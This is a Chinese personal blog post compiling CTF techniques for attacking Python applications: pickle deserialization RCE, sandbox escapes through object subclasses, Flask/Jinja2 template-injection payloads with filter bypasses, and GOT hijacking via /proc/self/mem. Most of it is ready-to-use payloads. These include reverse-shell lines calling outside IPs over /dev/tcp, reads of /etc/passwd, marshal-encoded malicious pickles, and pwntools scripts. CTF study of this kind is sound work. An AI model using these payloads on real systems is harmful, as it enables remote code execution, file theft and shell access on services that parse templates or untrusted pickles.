刘功瑞的博客

有一天你突然惊醒,发现这一切,都只不过是一场梦。

CTF 中的 Python 漏洞总结

执行命令的函数

import platform
platform.popen('ipconfig').read()

import subprocess
subprocess.Popen('ipconfig', shell=True, stdout=subprocess.PIPE,stderr=subprocess.STDOUT).stdout.read()

import os
os.system('ls')

反序列化

Python2.7和3.5默认使用的序列化格式有所区别,一般带有括号和换行的序列化数据是2.7使用的,而包含\x00的一般是3.5使用的。windows 和 linux 反序列化的数据是不同的

# windows, 第二行是操作系统nt
(lp1\ncnt\nsystem...
# linux, 第二行是操作系统posix
(lp1\ncposix\nsystem...

反弹shell

#!/usr/bin/env python
# encoding: utf-8
import os
import pickle
class test(object):
    def __reduce__(self):
        code='bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"'
        return (os.system,(code,))
a=test()
c=pickle.dumps(a)
print c
pickle.loads(c)

Python 沙盒绕过

以下代码是在Python 2.7环境下

# read 函数,读文件
().__class__.__bases__[0].__subclasses__()[40]('abc.php').read()
# write 函数,写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
# 执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
# 通过 system 执行任意命令
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('id')
# 通过 popen 执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_globals')['linecache'].__dict__['os'].__dict__['popen']('id').read()
# 打包文件
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_globals')['linecache'].__dict__['os'].__dict__['popen']('tar -czvf /tmp/www.tar.gz /home/ctf/www').read()
# base64 编码读取文件
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_globals')['linecache'].__dict__['os'].__dict__['popen']('base64 /tmp/www.tar.gz').read()

例题:

#!/usr/bin/python2.7 -u

from sys import modules
modules.clear()
del modules

_raw_input = raw_input
_BaseException = BaseException
_EOFError = EOFError

__builtins__.__dict__.clear()
__builtins__ = None

print 'Get a shell, if you can...'

while 1:
    try:
        d = {'x':None}
        exec 'x='+_raw_input()[:50] in d
        print 'Return Value:', d['x']
    except _EOFError, e:
        raise e
    except _BaseException, e:
        print 'Exception:', e

payloads

# [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('id');
data = [
    """1;__builtins__['a']=[].__class__.__base__""",
    """1;__builtins__['b']=a.__subclasses__()[59]""",
    """1;__builtins__['c']=b.__init__.__globals__""",
    """1;__builtins__['d']=c['linecache'].__dict__""",
    """1;__builtins__['e']=d['os'].system""",
    """1;x=e('ls')""",
]

for x in data:
    try:
        d = {'x':None}
        # exec 'xxx' in d,表示将 d 这个字典作为全局变量的空间,但是默认会有 __builtins__ 这个变量,不会以因为每次重置 d 而丢失
        exec 'x='+x[:50] in d
        print 'Return Value:', d['x']
    except _EOFError, e:
        raise e
    except _BaseException, e:
        print 'Exception:', e

Flask/Jinja2模板注入

验证漏洞

http://192.168.1.10/{{1+2}}
http://192.168.1.10/?name={{1+2}}
http://192.168.1.10/?name={{1^0}}

获取一些内置的变量信息

# Flask模版中的一个全局对象,包含了应用程序的配置值
{{config}}
# 与服务器环境相关的对象字典
{{request.environ}}

payloads

Python2.7

# 读文件
''.__class__.__mro__[2].__subclasses__()[40]('1.txt').read()
# 写文件
''.__class__.__mro__[2].__subclasses__()[40]('2.txt','w').write('Write it!')
# 读文件,base64编码
''.__class__.__mro__[2].__subclasses__()[40]('1.txt').read().encode('base64')
# 通过 subprocess.Popen 执行 shell 命令
''['__class__']['__mro__'].__getitem__(2)['__subclasses__']()[230](['ls', '-al', '/home'],stdout=-1)['communicate']()
# 通过 os.popen 执行 shell 命令
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].os.popen('id').read()

# eval python code __import__("sys").version
[].__class__.__base__.__subclasses__()[59].__init__.__globals__.__builtins__.eval([].__class__.__base__.__subclasses__()[6]([95, 95, 105, 109, 112, 111, 114, 116, 95, 95, 40, 34, 115, 121, 115, 34, 41, 46, 118, 101, 114, 115, 105, 111, 110]).__str__()

[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls')
"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval, 'os.system("ls")')
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bash -c "bash -i >& /dev/tcp/172.6.6.6/9999 0>&1"')

Python3

# 读写文件
''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()

# 得到eval函数
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']
# 读写文件
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("open('/etc/passwd').read()")
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()
# 执行命令
# 得到system,system执行命令不会有回显
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls')
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /etc/passwd').read()
().__class__.__bases__[0].__subclasses__()[59].__init__.['__builtins__']['__import__']('subprocess').Popen(['cat', '/etc/passwd']).read()
# 反弹shell
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('bash -c "bash -i >& /dev/tcp/192.168.85.146/4545 0>&1"')

绕过过滤

{(''|attr('__class__')}},{(''['__class__'])}}
# 等价于
{{''.__class__}}
  • 空格可以用tab(%09)绕过

  • | 后不允许接a-z可以用%0c,tab等绕过

  • os可以通过python中exec绕过

如果过滤仅限于 request.args 但是不允许 post,简单的办法是可以用request.cookies来绕过

当要调用对象的方法如下

>>> dir([]).__class__
<type 'list'>
>>> [].__class__
<type 'list'>
>>> dir([])['__class__']

但是flask和django的模板注入还有一种内置方法

request.__class__ 效果等于 request|attr('__class__')

通过参数引入字符串

/?secret={{request.args.class.join((request.args.usc*2,request.args.usc*2))}}&usc=_&class=class

通过设定变量提前创建好变量

/?secret={%set%09class=request.args.class.join((request.args.usc*2,request.args.usc*2))%}{{class}}&usc=_&class=class

格式化字符串漏洞

利用字符串 format 的漏洞,如果格式化字符串的内容可以被控制,就能输出一些敏感信息,但是无法执行命令

class User(object):
    def __init__(self, name):
        self.name = name

# a == joe
input_t = '{0.name}'
a = input_t.format(User('joe'))

# a == joe
input_t = '{user.name}'
a = input_t.format(user=User('joe'))

flask模板注入 沙箱逃逸

我们看一下测试代码中的 hello_ssti函数


【功能 打印 hello + 用户传入的name值】


函数中模板内容  template = '''<h2>Hello %s!</h2>''' % person['name']


 


就是简单的字符串替换,这会引发什么安全问题吗?我们看例子:


运行后,浏览器访问: http://localhost:5000(Flask开发的程序,默认监听端口为5000)

1.png

OK, 默认打印Hello World。


 


但是,如果传入的name 参数值为恶意代码会怎么样?


引发敏感信息泄露


 http://localhost:5000/hello-template-injection?name=ForrestX386. {{person.secret}}

1.png

secret 值被泄露  来源: http://www.freebuf.com/articles/web/135953.html


 


2 利用方法

      那么好了,我们已经知道了大概的原理,实际上感觉类似于XSS一样的原理,特殊情况下的数据会被当做代码执行,而且要记住两对{}才可以呦,那么就是接下来的第二个部分,如何实现充分的利用。在python中存在很多的库函数,可以供我们使用来达到一定的功能,那么怎么来使用呢?


        我们在python的object类中集成了很多的基础函数,我们想要调用的时候也是需要用object去操作的,现在小小总结了两种创建object的方法如下:

().__class__.__bases__[0]
''.__class__.__mro__[2]
 
# 验证如下
>>> print ''.__class__.__mro__[2]
<type 'object'>
>>> print ().__class__.__bases__[0]
<type 'object'>

从代码上我们比较好理解,就是从()找到它的父类也就是__bases__[0],而这个父类就是Python中的根类<type 'object'>,它里面有很多的子类,包括file等,这些子类中就有跟os、system等相关的方法,所以,我们可以从这些子类中找到自己需要的方法。


然后我们看一下

1.png

存在一个hook函数,直接可以调用 

1.png存在file类型的object,事实上调用后可以对文件操作了,这也是我们比赛时经常用到的一个函数 
利用代码如下:

//读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()
 
//写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
 
//执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )

这里需要补充一下,当我们得到了需要的库时,调用其中的函数方法是:

(1)采用类似于数组的方法,使用下标访问函数[index]

(2)使用名称直接访问,类似于[‘function name’]

2.python中可以执行任意代码的神奇函数

(1)timeit

import timeit
timeit.timeit("__import__('os').system('dir')",number=1)

(2)exec 和eval 比较经典了

eval('__import__("os").system("dir")')

(3)platform

import platform
print platform.popen('dir').read()

 (4)random和math


3 绕过方法

经常我们在比赛中不会轻易地随意使用函数和关键字,都会被后台给过滤掉,那么我们就需要掌握一些染过的方法,我们的绕过的思路主要分两种,第一种就是进行字符串的拼接,避开关键词的使用,第二种方法就是作为参数的方法传入,可以躲避过滤。


(1)拼接绕过


     在模板的url路径中,首先是支持字符串连接的,会在后台进行组合,比如我们可以吧获取object的代码这样写:

request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]

当然函数名字也可以写成这个样子:

'.re'+'ad()'  # 相当于'.read()'

第三个实际上就是一个函数用来躲避关键字的检查,如func_globals中存在ls,read关键字和class等,这也是做题时卡着的地方。而这些都可以用__getattribute__进行突破,大概的原理如下:

# 我们想要的代码
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]
 
# 进行关键字绕过
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache']

(2)参数的绕过方法

大概的原理是这样的,一般检查的时候只是检查url链接中的关键字,并没有对参数和cookies进行检查,那么我们就可以使用变量和数值的方法,url中使用变量代替我们的关键字,在参数中将实际的值附上,代码和讲解如下:


第一个是关于request的有关知识,我们知道这是一个用于web请求的库,它是存在有关参数的用法的,在《Flask request获取参数问题》一文中曾经提到过,分别通过3中方式获取参数:request.form, request.args,request.values

request.form.get("key", type=str, default=None) 获取表单数据
request.args.get("key") 获取get请求参数
request.values.get("key") 获取所有参数

用处不大啊,就是说一下基础,那么我们在构造url连接时,也可以使用request中的变量,包括arg和cookies等,当然肯定还有其他的用法,加入我们要读取文件a.php,而class和read等关键字都被屏蔽了,我们可以这么做:

import requests
 
# 注意是两对{},上文已经讲过为什么了,这里用的是cookies的方式
url = '''http://47.96.118.255:2333/{{''[request.cookies.a][request.cookies.b][2][request.cookies.c]()[40]('a.php')[request.cookies.d]()}}'''
 
cookies = {}
cookies['a'] = '__class__'
cookies['b'] = '__mro__'
cookies['c'] = '__subclasses__'
cookies['d'] = 'read'
 
print requests.get(url,cookies=cookies).text

当然,我们也可以构造get的参数来传递:

www.a.com/login.php{{''[request.args.clas][request.args.mr][2][request.args.subclas]()[40]('a.php').__getattribute__('rea'+'d')()}}
?clas=__class__&mr=__mro__&subclas=__subclasses__

下面这个是大佬提供的另外一种方法,供大家参考吧:

www.a.com/login.php{{request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]['__in'+'it__']['__'+'glo'+'bal'+'s__']['__bu'+'iltins__']['ev'+'al']('__im'+'port__("os").po'+'pen("ca"+"t a.php").re'+'ad()')}}

另外需要提示的一点,我们既然都可以执行命令了,当然可以使用模板注入的方式获取浏览器的一些关键变量,环境等信息,如{{var}}通过变量的形式获取某些变量,在初始将院里的时候已经展示过了,这是一个关键一点,此类题目的时候留意一些


 


4 总结

1、注意题目为python2还是python3的环境,其对应的库会有很大的一个差距,但总体来说,python27有的,python3都有,但需要改变相应下标


2、曲径通幽,多绕绕,最终获得你想要的模块,认真找,慢慢翻,会有很多的收获,比如从().__class__.__bases__[0].__subclasses__() 出发,查看可用的类


若类中有file,考虑读写操作


若类中有<class 'warnings.WarningMessage'>,考虑从.__init__.func_globals.values()[13]获取eval,map等等;又或者从.__init__.func_globals[linecache] 得到os


若类中有<type 'file'>,<class 'ctypes.CDLL'>,<class 'ctypes.LibraryLoader'>,考虑构造so文件


其他的相关关键字可以搜索魔法函数,你会对这些看起来稀奇古怪的函数有更多的理解


3、分析ban函数的时候考虑使用字符串拼接结合__getattribute__绕过;当然也可以考虑base64加解密来进行绕过,这部分可以参考sql注入的绕过思想


4、两个不常见的执行任意命令的方法:

import timeit
timeit.timeit("__import__('os').system('dir')",number=1)

import platform
print platform.popen('dir').read()
timeit
考虑time based rce

5、注意一种简单题型,出题者只做了如下一些处理:

>>> del __builtins__.__dict__['__import__'] # __import__ is the function called by the import statement
>>> del __builtins__.__dict__['eval'] # evaluating code could be dangerous
>>> del __builtins__.__dict__['execfile'] # likewise for executing the contents of a file
>>> del __builtins__.__dict__['input'] # Getting user input and evaluating it might be dangerous

看起来好像已经非常安全是么?但是,reload(module) 重新加载导入的模块,并执行代码。所以模块被导回到我们的命名空间。


6、导入模块的方式。


最直接的import.

内置函数 import

importlib库

以commands模块为列:


import importlib


f3ck = importlib.import_module("pbzznaqf".decode('rot_13')


print f3ck.getoutput('ifconfig')


web 模板注入 序列化执行

python代码审计


php包容性更大的语言,针对web,简单一些所以大家用这个


python出现后,更加的中性一些,有更多的库,以其为技术基础的东西也很多,比如flask模板等。


企业中java多,但是不适合初学者,调用栈特别多,反序列化,表达式执行。


 


对于没遇到过的题目,要会收集信息,百度不行还是用谷歌。


学会用英文搜索,而且新很多,谷歌的高级技巧(定向搜索,源码搜)


 


直接命令注入


对于可以直接执行cmd或者脚本命令的,cmd我们可以|并行管道执行


脚本的则可以闭合然后写入新的命令。


模板注入


对于服务器模板注入,我们需要先看是py2,3,然后根据下面可以使用的类搜索和执行的方法得到文件或者目录。


如果被过滤关键词,我们可以采用一些绕过方法


如果类被删除等我们通过fuzz看到开了什么,有源码的话就不需要了,一般用到的关键字意义如下


1.png

常见 payload


# 读文件


    ().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()


# 写文件


    ().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')


# 执行任意命令


    ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )


否则的话需要我们一步一步测试


从基类开始,再看子类,测试出被ban的是什么。


如果我们的函数被删除了


1.png

我们可以重新加载一下

1.png

限制的话就可以再次删除reload

1.png

劫持got表


write修改got表 实际上是一个/proc/self/mem的内存操作方法 /proc/self/mem是内存镜像,能够通过它来读写到进程的所有内存,包括可执


行代码,如果我们能获取到Python一些函数的偏移,如system,我们就能通过 想做pwn题的劫持got表做我们任意想做的事情

Return to libc
 
(lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or().__class__.__bases__[0].__subclasses__()[40]('c'+'at
/home/ctf/5c72a1d444cf3121a5d25f2db4147ebb'))(().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'),().__class__.__bases__[0].__subclasses__()[
 
40]('/proc/self/mem', 'w', 0))

第一个地址是system的偏移,第二个是fopen的偏移,我们可以通过objdump获取相关信息

1.png

格式化字符串问题


 


序列化问题


大概的意思就是我们输入的信息可以被当做命令执行,但是需要进行序列化,因为漏洞是发生在发序列化时。


例如pickle序列化漏洞,允许任意对象去定义一个__reduce__方法来申明怎么序列化这个对象,即有限执行这个方法。那么我们可以在传入的payload中定义这个方法,方法中附带上我们的字符串,就可以执行我们字符串的功能

#!/usr/bin/env python
#coding: utf-8
import cPickle
import os
class genpoc(object):
    def __reduce__(self):
        s = """echo moxiaoxi> poc.txt"""  #要执行的命令
        return os.system, (s,)        #os.system("echo moxiaoxi >poc.txt")
e = genpoc()   //获取python对象  里面包含reduce方法,方法里写上我们的命令
poc = cPickle.dumps(e)  //将python对象序列化保存到本地的文件
print poc
 
# www.a.com/index.php?payload=xxxxxxxxxxxx
# 原理: 我们提交序列化的参数,那么服务器会进行解码
# 发现存在自定义解码方法reduce 执行reduce 执行我们的命令

这是第一个方法,只可以执行system命令,我们还可以执行任意命令

# !/usr/bin/env python
# -*- coding:utf-8 -*-
import marshal
import base64
import cPickle
import urllib
 
def foo():#这是我们传上去的命令,写在下面
    import os
    def fib(n):     # 自己定义的函数
        if n <= 1:
            return n
        return fib(n-1) + fib(n-2)
    print 'fib(10) =', fib(10)
    os.system('echo anycode >>poc.txt')
 
try:#尝试使用cPickle来序列号代码对象
    cPickle.dumps(foo.func_code)
except Exception as e:
    print e #TypeError: can't pickle code objects
 
code_serialized = base64.b64encode(marshal.dumps(foo.func_code))
print code_serialized
 
 
#为了保证code_serialized中的内容得到执行,我们需要如下代码
#(types.FunctionType(marshal.loads(base64.b64decode(code_serialized)), globals(), ''))()
 
payload =  """ctypes
FunctionType      # 类似于 import system
(cmarshal
loads       
(cbase64
b64decode      # 解码
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(foo.func_code))  # 编码的命令 我们的命令在foo中 自带func_code为获取其中代码
 
print "------------------------------------------------" #编码和发送
print payload
fp =open("poc.pickle","w")    
fp.write(payload)
print "------------------------------------------------"
print urllib.quote(payload)

大师傅小例题

ping执行

1.png

1.png

例题2


模板注入,同沙箱逃逸中的知识点,{{}}中的会当做命令执行,我们需要采用自带的模块和基类调用我们需要的函数,输入参数等。


绕过的时候可以采用参数和cookie,拼接等形式。


注意是python2还是python3 不同形式的,python3中可能不存在一些库


python3 

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}   
  {% if b.__class__ == {}.__class__ %}         //遍历基类 找到eval函数
    {% if 'eval' in b.keys() %}    //找到了
      {{ b['eval']('__import__("os").popen("ls").read()') }}  //导入cmd 执行popen里的命令 read读出数据
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}
 
 
//然后cat 就可以
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("cat /tmp/ddddd/2222/flag ").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}
//我们可以改里面的命令
//直接ls就能看到 否则的话find搜索 
 基本格式:find path expression
 
 1.按照文件名查找
 
 (1)find / -name httpd.conf  #在根目录下查找文件httpd.conf,表示在整个硬盘查找
 (2)find /etc -name httpd.conf  #在/etc目录下文件httpd.conf
 
find 搜索目录 -type d
查找某个目录下的所有目录
find /tmp -type d
 
find 搜索目录 -cmin -时间(单位分钟)
查找etc下面1小时内被修改的文件,根目录下面太多了,指定一个目录
find /etc -cmin -60
 
find 搜索目录 -size 文件大小
这里的文件大小我们常见的有点不一样,这个大小是数据库,一个数据库等于512个字节,也就是0.5KB,所有1KB等于2个数据块
下面我们查找下大于100MB的文件,应该实际是102400KB*2,所有搜索命令为
find / -size +204800
-号是小于
直接写数字就是等于

python2

两对{}包裹的会被当做命令执行,我们可以来读取文件等

http://202.112.51.130:9009/?name={{9-3}}
会返回6 则可以执行

我们在使用的时候,上边的py3的代码也可以用。

{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd
').read() }}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').w
rite("") }}

大师傅例题3


Return to libc 


write修改got表


实际上是一个/proc/self/mem的内存操作方法,/proc/self/mem是内存镜像,能够通过它来读写到进程的所有内存,包括可执


行代码,如果我们能获取到Python一些函数的偏移,如system,我们就能通过想做pwn题的劫持got表做我们任意想做的事情


    连接先 nc 202.112.130 8000


先使用read函数读取 文件,因为一些东西被过滤了,我们需要换一种写法

[(r.read())for(r)in(1.1.__class__.__base__.__subclasses__()[40]('/usr/bin/python'),)][0]

1.png

那么这个读取文件是可以使用的,那么我们可以获得

#coding:utf-8
from pwn import *  
 
def test(payload):
    conn = remote('202.112.51.130 ', 8010)   //创建连接
    
    # context.log_level='debug'
    conn.recv()
    conn.sendline(payload)  //发送payload
    # data = conn.recvuntil('/bin/rbash')
    conn.recv()
    data = conn.recv()   //第一条获取的误用 第二次获取
    print data  
    # conn.interactive()
    return data
 
payload ="""[r.read()for(r)in(1.1.__class__.__base__.__subclasses__()[40]('/usr/bin/python'),)][0]"""
print test(payload)

如此我们得到了读取的文件,我们可以看到地址,然后就进行地址的查看(自己用工具)

找到之后,我们劫持got表如下

echo "[(r.seek(0x8bb2c8),w.seek(0x8bb8e0),w.write(r.read(8)),1.1.class.base.subclasses()40)for(r,w)in[(1.1.class.base.subclasses()40,1.1.class.base.subclasses()40)]]" | nc 54.223.98.61 14687
getflag
echo "[(r.seek(0x8bb2c8),w.seek(0x8bb8e0),w.write(r.read(8)),1.1.class.base.subclasses()40)for(r,w)in[(1.1.class.base.subclasses()40,1.1.class.base.subclasses()40)]]" | nc 54.223.98.61 14687

例题4 任意命令执行

1.png

看来我们可以输入Payload参数,那边会输出我们的字符串, 测试一下发现时payload小写的

1.png

那么使用课上讲的任意代码执行的序列化脚本,foo()内容先system('ls');  然后cat就可以

def foo():#you should write your code in this function    
    import os    
    #rerurn os.popen('ls').read()       
    return os.popen('cat flag').read()  
 
# 这两次就得到了flag
# 先得到目录 发现flag 直接cat读取


发表评论:

Powered By Z-BlogPHP 1.5.2 Zero

Copyright www.liugongrui.com.All Rights Reserved.